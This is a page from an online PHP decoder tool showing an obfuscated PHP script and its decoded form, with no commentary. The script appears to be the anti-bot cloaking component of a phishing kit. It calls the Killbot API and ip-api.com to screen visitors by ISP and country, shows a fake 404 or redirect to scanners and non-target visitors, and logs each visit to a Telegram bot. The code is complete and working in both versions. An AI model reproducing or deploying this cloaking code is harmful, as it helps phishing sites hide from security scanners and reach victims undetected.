Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto h3Gfe; Vs9TM: $ip = $_SERVER["REMOTE_ADDR"]; goto ck4qH; SXB3w: $display ..
Decoded Output download
<?php
goto h3Gfe;
Vs9TM:
$ip = $_SERVER["REMOTE_ADDR"];
goto ck4qH;
SXB3w:
$display = false;
goto hqtyl;
V1UE2:
if (!file_exists(__DIR__ . "/config_antibots.php") || !file_exists(__DIR__ . "/global_config.php") || !file_exists(__DIR__ . "/send.php")) {
header("location: https://www.mediapart.fr/404");
die;
}
goto zdbNP;
zdbNP:
$visitor_ip = $_SERVER["REMOTE_ADDR"];
goto SXB3w;
h3Gfe:
require "global_config.php";
goto Bxlf2;
Bxlf2:
require "config_antibots.php";
goto V1UE2;
egNYx:
class abt
{
function apikey($api_key)
{
$this->apikey = $api_key;
}
function check()
{
$ip = $this->get_client_ip();
$respons = $this->httpGet(base64_decode("aHR0cHM6Ly9raWxsYm90Lm9yZy9hcGkvdjEvYmxvY2tlcj9pcD0=") . $ip . "&apikey=" . $this->apikey . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&url=" . urldecode($_SERVER["REQUEST_URI"]));
$json = json_decode($respons, true);
if ($json["data"]["block_access"] == true) {
return true;
} else {
return false;
}
}
function get_client_ip()
{
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CF_CONNECTING_IP"];
$_SERVER["HTTP_CLIENT_IP"] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client = @$_SERVER["HTTP_CLIENT_IP"];
$forward = @$_SERVER["HTTP_X_FORWARDED_FOR"];
$remote = $_SERVER["REMOTE_ADDR"];
if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else {
$ip = $remote;
}
return $ip;
}
function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Killbot Blocker");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$response = curl_exec($ch);
return $response;
}
}
goto Vs9TM;
hqtyl:
function checkISP($list, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot)
{
$i = 0;
$result = false;
while ($i < count($list)) {
if (strpos(strtolower($org), strtolower($list[$i])) !== false) {
$result = true;
break;
}
$i++;
}
if ($result) {
logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]);
}
return $result;
}
goto egNYx;
ck4qH:
if (strlen($test_ip) > 1) {
$ip = $test_ip;
}
goto oqaQX;
oqaQX:
if ($_SERVER["REMOTE_ADDR"] == $whitelist_ip) {
$display = true;
}
goto VL4mP;
VL4mP:
if ($_SERVER["REMOTE_ADDR"] != $whitelist_ip) {
$abt = new abt();
$abt->apikey($antibot_api_token);
if ($antibot_activate_api == true && $abt->check() == true) {
logBot(false, $ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, true, $_SERVER["HTTP_USER_AGENT"]);
die(header("location: " . $antibot_redirection_url));
} else {
if ($antibot_activate_isp) {
function getIpInfo2($ip = '')
{
$ipinfo = file_get_contents("http://ip-api.com/json/" . $ip);
$ipinfo_json = json_decode($ipinfo, true);
return $ipinfo_json;
}
$visitor_ip = $_SERVER["REMOTE_ADDR"];
if (strlen($test_ip) > 1) {
$visitor_ip = $test_ip;
}
$ipinfo_json = getIpInfo2($visitor_ip);
if ($ipinfo_json["status"] != "fail") {
$org = "{$ipinfo_json["as"]}";
$isps = "{$ipinfo_json["isp"]}";
} else {
$org = "Introuvable";
$isps = "Introuvable";
}
if ($display == false && $isp_italy_check == true) {
$display = checkISP($isp_italy, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_austria_check == true) {
$display = checkISP($isp_austria, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_swiss_check == true) {
$display = checkISP($isp_swiss, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_netherlands_check == true) {
$display = checkISP($isp_netherlands, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_deutschland_check == true) {
$display = checkISP($isp_deutschland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_danish_check == true) {
$display = checkISP($isp_danish, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_sweden_check == true) {
$display = checkISP($isp_sweden, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_canada_check == true) {
$display = checkISP($isp_canada, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_france_check == true) {
$display = checkISP($isp_france, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_hongrie_check == true) {
$display = checkISP($isp_hongrie, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_portugal_check == true) {
$display = checkISP($isp_portugal, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_luxembourg_check == true) {
$display = checkISP($isp_luxembourg, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_spain_check == true) {
$display = checkISP($isp_spain, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_ireland_check == true) {
$display = checkISP($isp_ireland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_UK_check == true) {
$display = checkISP($isp_UK, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_belgium_check == true) {
$display = checkISP($isp_belgium, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_usa_check == true) {
$display = checkISP($isp_usa, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_uea_check == true) {
$display = checkISP($isp_uea, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_cz_check == true) {
$display = checkISP($isp_cz, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display != true) {
logBot(false, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]);
die("HTTP/1.0 404 Not Found");
}
}
}
if (!$antibot_activate_isp) {
$display = true;
}
logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]);
} ?>
Did this file decode correctly?
Original Code
<?php
goto h3Gfe;
Vs9TM:
$ip = $_SERVER["REMOTE_ADDR"];
goto ck4qH;
SXB3w:
$display = false;
goto hqtyl;
V1UE2:
if (!file_exists(__DIR__ . "/config_antibots.php") || !file_exists(__DIR__ . "/global_config.php") || !file_exists(__DIR__ . "/send.php")) {
header("location: https://www.mediapart.fr/404");
die;
}
goto zdbNP;
zdbNP:
$visitor_ip = $_SERVER["REMOTE_ADDR"];
goto SXB3w;
h3Gfe:
require "global_config.php";
goto Bxlf2;
Bxlf2:
require "config_antibots.php";
goto V1UE2;
egNYx:
class abt
{
function apikey($api_key)
{
$this->apikey = $api_key;
}
function check()
{
$ip = $this->get_client_ip();
$respons = $this->httpGet(base64_decode("aHR0cHM6Ly9raWxsYm90Lm9yZy9hcGkvdjEvYmxvY2tlcj9pcD0=") . $ip . "&apikey=" . $this->apikey . "\x26\x75\x61\x3d" . urlencode($_SERVER["\110\x54\124\120\x5f\x55\x53\x45\x52\137\101\107\105\116\x54"]) . "\46\x75\x72\154\75" . urldecode($_SERVER["\x52\105\121\x55\105\123\x54\x5f\x55\122\x49"]));
$json = json_decode($respons, true);
if ($json["\144\x61\164\x61"]["\142\x6c\157\x63\153\137\141\143\x63\x65\x73\x73"] == true) {
return true;
} else {
return false;
}
}
function get_client_ip()
{
if (isset($_SERVER["\x48\124\x54\x50\x5f\103\x46\x5f\103\x4f\x4e\x4e\105\x43\124\x49\x4e\107\137\x49\120"])) {
$_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"] = $_SERVER["\110\x54\124\x50\x5f\x43\106\137\x43\x4f\116\x4e\105\x43\124\x49\116\107\137\x49\x50"];
$_SERVER["\110\124\124\x50\x5f\x43\x4c\111\x45\116\124\x5f\111\120"] = $_SERVER["\x48\x54\124\x50\x5f\x43\x46\137\x43\117\116\116\x45\103\124\x49\x4e\x47\137\x49\x50"];
}
$client = @$_SERVER["\x48\124\x54\x50\x5f\103\114\x49\x45\116\x54\x5f\x49\120"];
$forward = @$_SERVER["\110\x54\x54\120\x5f\130\137\106\x4f\x52\127\101\x52\x44\x45\x44\137\106\117\122"];
$remote = $_SERVER["\122\x45\x4d\117\124\x45\x5f\x41\104\x44\122"];
if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else {
$ip = $remote;
}
return $ip;
}
function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Killbot Blocker");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$response = curl_exec($ch);
return $response;
}
}
goto Vs9TM;
hqtyl:
function checkISP($list, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot)
{
$i = 0;
$result = false;
while ($i < count($list)) {
if (strpos(strtolower($org), strtolower($list[$i])) !== false) {
$result = true;
break;
}
$i++;
}
if ($result) {
logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\x48\x54\x54\x50\137\125\123\105\x52\x5f\x41\107\x45\116\124"]);
}
return $result;
}
goto egNYx;
ck4qH:
if (strlen($test_ip) > 1) {
$ip = $test_ip;
}
goto oqaQX;
oqaQX:
if ($_SERVER["\x52\105\x4d\117\x54\x45\137\101\x44\x44\122"] == $whitelist_ip) {
$display = true;
}
goto VL4mP;
VL4mP:
if ($_SERVER["\x52\x45\x4d\117\124\105\x5f\x41\104\x44\x52"] != $whitelist_ip) {
$abt = new abt();
$abt->apikey($antibot_api_token);
if ($antibot_activate_api == true && $abt->check() == true) {
logBot(false, $ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, true, $_SERVER["\110\124\x54\x50\x5f\125\x53\105\122\137\101\x47\x45\x4e\124"]);
die(header("\x6c\x6f\x63\x61\164\151\x6f\x6e\x3a\40" . $antibot_redirection_url));
} else {
if ($antibot_activate_isp) {
function getIpInfo2($ip = '')
{
$ipinfo = file_get_contents("http://ip-api.com/json/" . $ip);
$ipinfo_json = json_decode($ipinfo, true);
return $ipinfo_json;
}
$visitor_ip = $_SERVER["\x52\x45\x4d\117\x54\x45\x5f\101\104\104\122"];
if (strlen($test_ip) > 1) {
$visitor_ip = $test_ip;
}
$ipinfo_json = getIpInfo2($visitor_ip);
if ($ipinfo_json["\x73\x74\x61\x74\x75\163"] != "\146\141\151\x6c") {
$org = "{$ipinfo_json["\x61\163"]}";
$isps = "{$ipinfo_json["\151\x73\160"]}";
} else {
$org = "\x49\x6e\x74\x72\157\165\x76\141\x62\154\x65";
$isps = "\x49\x6e\164\x72\x6f\165\x76\x61\142\154\145";
}
if ($display == false && $isp_italy_check == true) {
$display = checkISP($isp_italy, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_austria_check == true) {
$display = checkISP($isp_austria, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_swiss_check == true) {
$display = checkISP($isp_swiss, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_netherlands_check == true) {
$display = checkISP($isp_netherlands, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_deutschland_check == true) {
$display = checkISP($isp_deutschland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_danish_check == true) {
$display = checkISP($isp_danish, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_sweden_check == true) {
$display = checkISP($isp_sweden, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_canada_check == true) {
$display = checkISP($isp_canada, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_france_check == true) {
$display = checkISP($isp_france, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_hongrie_check == true) {
$display = checkISP($isp_hongrie, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_portugal_check == true) {
$display = checkISP($isp_portugal, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_luxembourg_check == true) {
$display = checkISP($isp_luxembourg, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_spain_check == true) {
$display = checkISP($isp_spain, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_ireland_check == true) {
$display = checkISP($isp_ireland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_UK_check == true) {
$display = checkISP($isp_UK, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_belgium_check == true) {
$display = checkISP($isp_belgium, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_usa_check == true) {
$display = checkISP($isp_usa, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_uea_check == true) {
$display = checkISP($isp_uea, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display == false && $isp_cz_check == true) {
$display = checkISP($isp_cz, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot);
}
if ($display != true) {
logBot(false, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\x48\124\x54\120\x5f\125\123\x45\x52\x5f\x41\107\x45\x4e\124"]);
die("\x48\x54\x54\x50\57\x31\x2e\x30\40\x34\60\x34\40\116\x6f\164\40\106\157\165\x6e\x64");
}
}
}
if (!$antibot_activate_isp) {
$display = true;
}
logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\110\x54\x54\120\137\125\x53\x45\122\137\101\107\x45\116\x54"]);
}
Function Calls
None |
Stats
MD5 | 3a11dc7307d7ffd16664fbd8cd7c3c0a |
Eval Count | 0 |
Decode Time | 48 ms |